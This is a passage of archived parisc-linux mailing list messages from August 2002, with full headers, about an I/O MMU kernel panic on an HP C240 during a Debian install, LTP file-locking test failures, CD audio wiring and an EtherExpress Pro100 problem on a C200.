X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter Saisanas" <psaisanas@iprimus.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP C240 With Debian 3.0
Date: Mon, 19 Aug 2002 23:23:47 +1000
Lines: 89
Approved: news@gmane.org
Message-ID: <000e01c24783$a707f680$050000c6@dualpiii700>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000B_01C247D7.7830CCC0"
X-Trace: ger.gmane.org 1416621630 12447 80.91.229.3 (22 Nov 2014 02:00:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:30 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 19 07:23:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp02.iprimus.net.au (smtp02.iprimus.net.au [210.50.76.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 539604829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Aug 2002 07:23:33 -0600 (MDT)
Original-Received: from dualpiii700 ([210.50.132.235]) by smtp02.iprimus.net.au with Microsoft SMTPSVC(5.0.2195.4617);
	 Mon, 19 Aug 2002 23:23:19 +1000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 19 Aug 2002 13:23:20.0140 (UTC) FILETIME=[95ECB0C0:01C24783]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15847

This is a multi-part message in MIME format.

------=_NextPart_000_000B_01C247D7.7830CCC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi, I am having problems with the stability of Debian 3.0 (Woody) on my =
C240. basically i can boot up the CD fine and get to the installation of =
the Kernel and base config. However about 3 out of 5 times i get the =
infamous error,=20

"Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping =
resources" and the c240 locks up.=20
.
One thing i have noticed is that it seems to do this when there is heavy =
usage of the SCSI Bus (i.e installing linux from the CD). I did seach =
the message list for this problem previously but im not too sure if =
there was a solution, (I'm sure there is one).

But on rare occations i can at least install the base system and it =
works very nicely

I have 128MB of ram (Not that this is probably causing the problem). and =
the kernel that im running is the one that is on the Deb 3.0 CD (2.4.19 =
i believe)

What do i need to do to get the C240 stable and stop the machine =
crashing.
Keep up the great work.

Cheers
Peter Saisanas


------=_NextPart_000_000B_01C247D7.7830CCC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi, I am having problems with the =
stability of=20
Debian 3.0 (Woody) on my C240. basically i can boot up the CD fine and =
get to=20
the installation of the Kernel and base config. However about 3 out of=20
5&nbsp;times i get the infamous error, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>"Kernel panic: ccio-dma.c: =
ccio_alloc_range() I/O=20
MMU is out of mapping resources" and the c240&nbsp;locks=20
up.&nbsp;<BR>.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>One thing i have noticed is that it =
seems to do=20
this when there is heavy usage of the SCSI Bus (i.e installing =
linux&nbsp;from=20
the CD). I did seach the message list for this problem previously but im =
not too=20
sure if there was a solution, (I'm sure there is one).</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>But on rare occations i can at least =
install the=20
base system and it works very nicely</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have 128MB of ram (Not that this is =
probably=20
causing the problem). and the kernel that im running is the one that is =
on the=20
Deb 3.0 CD (2.4.19 i believe)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>What do i need to do to get the C240 =
stable and=20
stop the machine crashing.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Keep up the great work.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Cheers</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Peter Saisanas</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_000B_01C247D7.7830CCC0--



From - Thu Nov 08 21:24:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LTP Results - Should we be unhappy? :)
Date: Mon, 19 Aug 2002 11:00:05 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20020819150005.GI20487@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621630 12451 80.91.229.3 (22 Nov 2014 02:00:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 19 09:01:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id A770A4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Aug 2002 09:01:49 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17go0j-0005kL-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Aug 2002 11:00:05 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (26% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15848

pa,

On a whim, I was talking to Willy about porting cerberus to parisc
(which I did... just by taking out the cpu specific test :) and he
mentioned LTP. I had completely forgoten about LTP!

No work required, LTP compiled out of the package, and I began 
running the test on an A500 2.4.19-pa3 (non-smp 64-bit).

To my surprise we don't even make it through all the tests!

- File Locking - 
fcntl14 - Many failures
fcntl15 - Passes
fcntl16 - Processes get stuck in wait (when they obviously shouldn't).

To view the test results, including the point at which I signaled
the waiting processes.

http://www.baldric.uwo.ca/~carlos/LTP/ltp-run-2002-08-19.out

If anyone is bored, interested, looking for something to do on
a slow evening :)

c.


From - Thu Nov 08 21:24:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD-ROM audio output
Date: Mon, 19 Aug 2002 13:48:19 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20020819194819.B74C337D68@carmen.fc.hp.com>
References: <200208191009.EAA02771@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621631 12455 80.91.229.3 (22 Nov 2014 02:00:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 19 13:48:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9CBAE4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Aug 2002 13:48:21 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by atlrel9.hp.com (Postfix) with ESMTP id C0EB0E008BA
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Aug 2002 15:48:20 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP id 79A84381B0
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Aug 2002 13:48:20 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP id 58D5F40A3
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Aug 2002 13:48:20 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id B74C337D68; Mon, 19 Aug 2002 13:48:19 -0600 (MDT)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.0.4+dev
In-Reply-To: Message from John Marvin <jsm@udlkern.fc.hp.com> 
   of "Mon, 19 Aug 2002 04:09:48 MDT." <200208191009.EAA02771@udlkern.fc.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15849

John Marvin writes...

> > > I want to install a CD-Drive in my 715/100. Is it possible to use the
> > > internal audio output of the CD-ROM in the same way it used in a PC?
> > > Which type of cable do I have to use?
> >
> > The problem is where to connect it. There's no way to plug it in to the
> > built-in audio.
> 
> That is incorrect. Most, if not all parisc workstations with CD quality
> audio have an internal connector for CD audio input. However, it is just
> another buffered input to the line input, i.e. you can not separately
> control the CD audio level and the line input level, since they are
> essentially wired together to the same input on the CS4216 codec.

I stand corrected. Do you know if systems ever shipped with the CDROM 
connected to that input?

-- 
Matt Taggart
taggart@fc.hp.com




From - Thu Nov 08 21:24:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP C240 With Debian 3.0
Date: Mon, 19 Aug 2002 15:52:00 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20020819215201.211A94829@dsl2.external.hp.com>
References: <000e01c24783$a707f680$050000c6@dualpiii700>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621631 12718 80.91.229.3 (22 Nov 2014 02:00:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Peter Saisanas" <psaisanas@iprimus.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 19 15:52:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 211A94829; Mon, 19 Aug 2002 15:52:01 -0600 (MDT)
In-Reply-To: Message from "Peter Saisanas" <psaisanas@iprimus.com.au> 
   of "Mon, 19 Aug 2002 23:23:47 +1000." <000e01c24783$a707f680$050000c6@dualpiii700> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15850

"Peter Saisanas" wrote:
> "Kernel panic: ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping =
> resources" and the c240 locks up.=20

This has come up before on the mailing list.
We need to change ccio_mem_ratio to 2 or otherwise fix
how iova_space_size is getting calculated.

...
> But on rare occations i can at least install the base system and it =
> works very nicely
...
> What do i need to do to get the C240 stable and stop the machine =
> crashing.

arch/parisc/kernel/ccio-dma.c: unmodified: line 169 of 1615 [10%].

/* Ratio of Host MEM to IOV Space size */
static unsigned long ccio_mem_ratio = 4;

replace 4 with 2.

grant


From - Thu Nov 08 21:24:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on C200
 machine.
Date: Mon, 19 Aug 2002 19:00:12 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <3D61787C.7060502@charter.net>
References: <3D5EB2D6.9090403@charter.net>  <20020817223713.GA25852@gate450.dyndns.org> <20020818051633.209BD4829@dsl2.external.hp.com> <3D5FC35F.7060402@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621631 12722 80.91.229.3 (22 Nov 2014 02:00:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 19 16:59:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx04.cluster1.charter.net (dc-mx04.cluster1.charter.net [209.225.8.14])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72FF94829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Aug 2002 16:59:20 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx04.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 63908966 for parisc-linux@lists.parisc-linux.org; Mon, 19 Aug 2002 18:58:37 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15851

Ok, I'm back from camp ( and work ). Here's what I did today:

(a) Installed new coin battery on motherboard
(b) Switched EtherPro100 card to 5V/32bit PCI slot

None of this brought back my motherboard's original
ethernet devices. I wish I could figure out what happened,
but I know that the never worked again after plugging a
HCRX-24Z card into the GSC bus. I got one error somewhere
that said something like

"... Something really bad has happened ..." but it never
re-appeared, and neither did the tulip or LASI ether devices.

Ok, through methodical emperical experimentation I have found
that the command:

"# ping -s 157 servername"

Will succeed. However,

"# ping -s 158 servername"

Will fail.


I have kernel 2.1.18, and will try 2.4.19 but I have to burn
a cd to get it on the machine so I have procrastinated. I will
give it a shot tonight, apply Andreas's patch and recompile.

About the last thing in the world I want to do is buy a
tape drive just to reload my firmware. Maybe one of you wizards
could cook up a way to flash it from linux like is done on
a Netwinder?

Later!
- Doug



From - Thu Nov 08 21:24:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on C200 machine.
Date: Mon, 19 Aug 2002 17:58:58 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20020819235858.475274829@dsl2.external.hp.com>
References: <3D5EB2D6.9090403@charter.net> <20020817223713.GA25852@gate450.dyndns.org> <20020818051633.209BD4829@dsl2.external.hp.com> <3D5FC35F.7060402@charter.net>  <3D61787C.7060502@charter.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621631 12725 80.91.229.3 (22 Nov 2014 02:00:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	grundler@dsl2.external.hp.com
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 19 17:58:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 475274829; Mon, 19 Aug 2002 17:58:58 -0600 (MDT)
In-Reply-To: Message from "B. Douglas Hilton" <bdhilton@charter.net> 
   of "Mon, 19 Aug 2002 19:00:12 EDT." <3D61787C.7060502@charter.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15852

"B. Douglas Hilton" wrote:
> None of this brought back my motherboard's original
> ethernet devices. I wish I could figure out what happened,
> but I know that the never worked again after plugging a
> HCRX-24Z card into the GSC bus.

Sounds like static or something fried the GSC devices on that bus.

> "... Something really bad has happened ..." but it never
> re-appeared, and neither did the tulip or LASI ether devices.

ouch.

...
> About the last thing in the world I want to do is buy a
> tape drive just to reload my firmware. Maybe one of you wizards
> could cook up a way to flash it from linux like is done on
> a Netwinder?

If you can ressurrect built-in LAN or find an add-on Tulip card,
you could netboot the firmware update (it's a LIF image).

grant


From - Thu Nov 08 21:24:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on C200 machine.
Date: Mon, 19 Aug 2002 19:04:04 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <02081919040400.26310@localhost.localdomain>
References: <3D5EB2D6.9090403@charter.net> <3D61787C.7060502@charter.net> <20020819235858.475274829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621632 12729 80.91.229.3 (22 Nov 2014 02:00:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 19 18:04:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (mail.goquest.com [63.172.73.8])
	by dsl2.external.hp.com (Postfix) with SMTP id 912794829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Aug 2002 18:04:27 -0600 (MDT)
Original-Received: (qmail 20278 invoked by uid 0); 20 Aug 2002 00:04:12 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.12 (spamassassin: 2.31. . Clear:. Processed in 1.000977 secs); 20 Aug 2002 00:04:12 -0000
Original-Received: from unknown (HELO localhost.localdomain) (65.162.253.35)
  by mail.goquest.com with SMTP; 20 Aug 2002 00:04:11 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20020819235858.475274829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15853

On Monday 19 August 2002 06:58 pm, Grant Grundler wrote:
> "B. Douglas Hilton" wrote:
> ...
>
> > About the last thing in the world I want to do is buy a
> > tape drive just to reload my firmware. Maybe one of you wizards
> > could cook up a way to flash it from linux like is done on
> > a Netwinder?
>
> If you can ressurrect built-in LAN or find an add-on Tulip card,
> you could netboot the firmware update (it's a LIF image).
>
> grant
Perhaps that old type of install, build SCSI disk on different machine, 
physically move disk ot C200.

Mike


From - Thu Nov 08 21:24:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on C200 machine.
Date: Mon, 19 Aug 2002 18:18:06 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20020820001806.364034829@dsl2.external.hp.com>
References: <3D5EB2D6.9090403@charter.net>  <20020817223713.GA25852@gate450.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621632 12731 80.91.229.3 (22 Nov 2014 02:00:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, saw@saw.sw.com.sg
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 19 18:18:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 364034829; Mon, 19 Aug 2002 18:18:06 -0600 (MDT)
In-Reply-To: Message from Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de> 
   of "Sun, 18 Aug 2002 00:37:15 +0200." <20020817223713.GA25852@gate450.dyndns.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15854

Andreas Seltenreich wrote:
> Hi,
> 
> just append " || defined(__hppa__)" to line 47 of drivers/net/eepro100.c
> I got mine working that way.

Sorry - I just noticed that eepro100 for 2.4.19 is substantially
different from 2.4.18. My previous repl was WRT 2.4.18 (RX_ALIGN).

BTW, rx_copybreak is a module param and there must be some way
of passing that in as a boot param too.

grant


From - Thu Nov 08 21:24:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on 
 C200 machine.
Date: Mon, 19 Aug 2002 18:18:26 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20020820001826.5672E37D68@carmen.fc.hp.com>
References: <3D5EB2D6.9090403@charter.net> <3D61787C.7060502@charter.net> 
 <20020819235858.475274829@dsl2.external.hp.com>  <02081919040400.26310@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
